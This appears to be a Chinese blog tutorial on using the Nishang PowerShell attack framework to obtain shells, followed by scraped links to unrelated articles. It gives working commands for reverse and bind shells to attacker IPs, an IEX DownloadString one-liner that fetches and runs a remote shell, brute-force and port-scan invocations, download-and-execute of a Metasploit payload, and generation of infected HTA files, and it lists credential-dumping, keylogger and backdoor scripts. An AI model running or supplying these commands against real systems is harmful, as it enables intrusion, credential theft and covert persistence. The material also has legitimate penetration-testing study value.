0x01前言

Nishang是一个PowerShell攻击框架,它是PowerShell攻击脚本和有效载荷的一个集合。Nishang被广泛应用于渗透测试的各个阶段,本文主要介绍如何使用Nishang的各种姿势获取一个shell。

项目地址 :https://github.com/samratashok/nishang

0x02 Powershell交互式Shell

一、基于TCP协议的Powershell交互式Shell

Invoke-PowerShellTcp是PowerShell交互式正向连接或反向连接shell,基于TCP协议。

参数介绍:

-IPAddress <String> 选择-Reverse选项时是需要连接到的IP地址-Port <Int32> 选择-Reverse选项时是需要连接到的端口,选择-Bind选项时是需要监听的端口。-Reverse [<SwitchParameter>] 反向连接-Bind [<SwitchParameter>] 正向连接

使用实例:

1. 正向连接

第一步:在目标机运行脚本,监听端口86

第二步:使用nc连接到目标机端口86

2. 反向连接

第一步:使用nc监听本地端口86(注意必须先监听,不然在目标机上执行脚本会出错)

第二步:在目标机上反弹shell

Invoke-PowerShellTcp -Reverse -IPAddress 192.168.190.141 -Port 86

第三步:观察攻击机,可以发现成功反弹shell

二、基于UDP协议的PowerShell交互式Shell

Invoke-PowerShellUdp  Powershell交互式正向连接或反向连接shell,基于UDP协议。

使用实例:

1. 正向连接

正向连接,和上面用法相同,不过是基于UDP协议,所以nc命令就要改动一下了。

2. 反向连接

反向连接,和上面用法相同,不过在使用nc监听的时候使用UDP协议。

三、基于HTTP和HTTPS协议的PowerShell交互式Shell

Invoke-PoshRatHttp and Invoke-PoshRatHttps是Powershell交互式反向连接shell,基于HTTP协议和HTTPS协议。

用法实例:(由于两种脚本用法相同,这里以基于HTTP协议的脚本为例子)


第一步:首先我们需要在攻击机上使用脚本,需要的信息有攻击机IP,要监听的端口。运行完脚本,就等着目标机反弹Shell了。

Invoke-PoshRatHttp -IPAddress 192.168.190.138 -Port 3389

第二步:在目标机上运行下列命令,反弹Shell

IEX ((New-Object Net.WebClient).DownloadString('http://192.168.190.138:3389/connect'))


0x03 nishang常用脚本

扫描进行时

Nishang基本上包含了渗透测试各个阶段的脚本,在扫描阶段,它也有两个很实用的脚本暴力破解和端口扫描。

一、暴力破解-Invoke-BruteForce

Invoke-BruteForce是Nishang中一个专注于暴力破解的脚本,它可以破解SQL Server、ActiveDirecotry、FTP、Web等服务。

使用实例:

Invoke-BruteForce -ComputerName SQLServ01 -UserList C:testusername.txt -PasswordList C:testpassword.txt -Service SQL -Verbose

二、端口扫描-Invoke-PortScan

Invoke-PortScan是Nishang中一个端口扫描脚本,它可以发现主机、解析主机名、端口扫描,是实战中一个很实用的脚本。

参数介绍:

-StartAddress <String>起始IP-EndAddress <String>终止IP-ResolveHost 加上这个参数,解析主机名。-ScanPort 加上这个参数,扫描端口-Ports 指定扫描的端口

实用实例:

发现存活主机,解析主机名、扫描80端口是否开放。

Invoke -StartAddress 192.168.110.1 -EndAddress 192.168.110.130 -ResolveHost -ScanPort -Ports 80

常用Execution

一、Download_Execute

Download_Execute是Nishang中一个下载执行脚本,它在实战中最常用的功能就是下载一个文本文件,然后将其转换为可执行文件执行。

使用实例:

第一步:首先我们需要使用Nishang中的exetotext.ps1脚本将可执行文件更改为文本文件。

PS C:Usersroot> ExetoText c:\powershellmsf.exe c:\powershellmsf.txt Converted file written to c:\powershellmsf.txt

第二步:使用Download_Execute下载执行文本文件

PS C:Usersroot> Download_Execute http://192.168.110.128/msf.txt

第三步:观察Metasploit。可以发现成功获得Shell

客户端

Nishang中还有生成各种危害文件的脚本,它们可以生成各种感染的文件,如HTA、Word,来执行powershell脚本。可以神不知鬼不觉的发动攻击,由于各个脚本用法相同,这里以生成受感染的HTA为例子。


Out-HTA

功能:创建受感染的HTA文件,可以执行PowerShell命令和脚本。

用法实例:


第一步:我们先来创建受感染的HTA文件。在下图中我们可以发现成功生成了一个受感染的HTA文件hacker.hta

PS C:\nishang-master> Out-HTA -PayloadScript C:\nishang-master\Shells\Invoke-PowerShellTcpOneLine.ps1 -HTAFilePath C:\HACKER.HTA

第二步:先使用nc来监听端口,然后运行受感染的HTA文件,可以发现成功反弹Shell


Ps:前提你在生成hta木马的时候 payload设置的反弹地址和端口要和你攻击机一致哈。。。

其他

Nishang中还有很多经典实用的渗透脚本,不可能一一为大家讲解,这里挑选几种常用的为大家来介绍一下。

信息收集

1. Check-VM 这是Nishang中检测目标机是否为虚拟机的脚本。

2. Copy-VSS 使用卷影拷贝服务来复制SAM文件。

3. Get-Information 从目标机上获取有价值信息的脚本

4. Get-PassHashes 从目标机上获取Hash密码的脚本。

5. Get-WLAN-Keys 从目标机上获取纯文本的WLAN密钥。

6. Keylogger 键盘记录脚本,大家应该都熟悉。

7. Invoke-Mimikatz 在内存中加载Mimikatz,Mimikatz大家都熟悉吧,不作介绍了。

后门

1. HTTP-Backdoor 可以接收来自第三方网站的指令,并在内存中执行PowerShell脚本。

2. DNS_TXT_Pwnage 可以在DNS TXT查询中接收指令和PowerShell脚本,并在目标机上执行。

3. Execute-OnTime 可以在目标机上指定时间执行PowerShell脚本。

4. Gupt-Backdoor 可以从WLAN SSID中接收命令和脚本,而不用去连接它。

总结

Nishang的脚本还有很多没有介绍到,它覆盖了后门、信息收集、反弹shell、下载执行等多种脚本,需要大家慢慢学习在实战中运用学习吧

nishang的介绍与使用的更多相关文章

  1. Powershell 渗透测试工具-Nishang

    Powershell 渗透测试工具-Nishang 分享到: 作者:V1ct0r 稿费:500RMB(不服你也来投稿啊!) 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 传送门 ...

  2. PowerShell攻防进阶篇:nishang工具用法详解

    PowerShell攻防进阶篇:nishang工具用法详解 导语:nishang,PowerShell下并肩Empire,Powersploit的神器. 开始之前,先放出个下载地址! 下载地址:htt ...

  3. PowerShell攻击:nishang

    nishanhg 下载地址:https://github.com/samratashok/nishing   1.简介 nishang的使用是要在PowerShell 3.0以上的环境中才可以正常使用 ...

  4. Final——Nishang

    一.介绍 Nishang是基于PowerShell的渗透测试专用工具,它集成了框架.脚本和各种payload,被广泛应用于渗透测试的各个阶段. 二.使用 下载脚本工具:Nishang Nishang需 ...

  5. CSS3 background-image背景图片相关介绍

    这里将会介绍如何通过background-image设置背景图片,以及背景图片的平铺.拉伸.偏移.设置大小等操作. 1. 背景图片样式分类 CSS中设置元素背景图片及其背景图片样式的属性主要以下几个: ...

  6. MySQL高级知识- MySQL的架构介绍

    [TOC] 1.MySQL 简介 概述 MySQL是一个关系型数据库管理系统,由瑞典MySQL AB公司开发,目前属于Oracle公司. MySQL是一种关联数据库管理系统,将数据保存在不同的表中,而 ...

  7. Windows Server 2012 NIC Teaming介绍及注意事项

    Windows Server 2012 NIC Teaming介绍及注意事项 转载自:http://www.it165.net/os/html/201303/4799.html Windows Ser ...

  8. Linux下服务器端开发流程及相关工具介绍(C++)

    去年刚毕业来公司后,做为新人,发现很多东西都没有文档,各种工具和地址都是口口相传的,而且很多时候都是不知道有哪些工具可以使用,所以当时就想把自己接触到的这些东西记录下来,为后来者提供参考,相当于一个路 ...

  9. JavaScript var关键字、变量的状态、异常处理、命名规范等介绍

    本篇主要介绍var关键字.变量的undefined和null状态.异常处理.命名规范. 目录 1. var 关键字:介绍var关键字的使用. 2. 变量的状态:介绍变量的未定义.已定义未赋值.已定义已 ...

随机推荐

  1. ubuntu连接window系统

    最后可以通过次命令挂载本地文件夹到远程电脑: rdesktop -a 24 -f -r disk:share-name=/home/lion/.m2/ 192.168.151.232

  2. ES6新增常见特性

    一:声明属性let const var let const 区别 1.var声明变量会发生变量提升,let.const不会发生变量提升 2.var允许重复声明变量,let不可以 3.const声明变量 ...

  3. Xshell无法连接到虚拟机Linux系统(桥接方式)

    一.  查看主机上网网卡网络配置信息 1.  查看本机所用网卡名称(适用于win10系统) 操作步骤: 1)  状态栏右键“WiFi连接图标” 2)  点击“打开“网络和Internet”设置” 3) ...

  4. Bytectf-几道web总结

    1.EZcms 这道题思路挺明确,给了源码,考点就是md5哈希扩展+phar反序列化 首先这道题会在上传的文件目录下生成无效的.htaccess,从而导致无法执行上传的webshell,所以就需要想办 ...

  5. 39 (OC) 瀑布流、不规则UI

    39  (OC)  瀑布流.不规则UI

  6. 【数据结构】什么是AVL树

    目录 什么是AVL树 1. 什么是AVL树 2. 节点的实现 3. AVL树的调整 3.1 LL旋转 3.2 RR旋转 3.3 RL旋转 3.4 LR旋转 什么是AVL树 二叉查找树的一个局限性就是有 ...

  7. 给Xshell增加快速命令集

    一.显示快速命令栏 二.配置快速命令集 在工具中找到快速命令集 添加快速命令集 三.使用快速命令集

  8. JAVA用递归来判断回文串

    用递归来判断回文串 思路: ①首先如果是空串,一个字符,则判断是回文串 ②若不满足①,则我们需要对字符串进行递归判断,我们会想到要用第一个字符和最后一个字符进行比较,若相同则,第二个和倒数第二个进行比 ...

  9. Linux遇到的问题-记录

    Linux遇到的问题 2019-04-09以前: Linux&Win双系统下时间显示不正常的问题 一般安装了双系统(Linux+Windows)就很容易出现问题,Windows是直接取硬件时间 ...

  10. 性能测试瓶颈判断(LR&Windowns)

    性能测试瓶颈判断(LR&Windowns) 一.判断CPU瓶颈(Processor) 1, %processor time 如果该值持续超过95%,表明瓶颈是CPU.可以考虑增加一个处理器或换 ...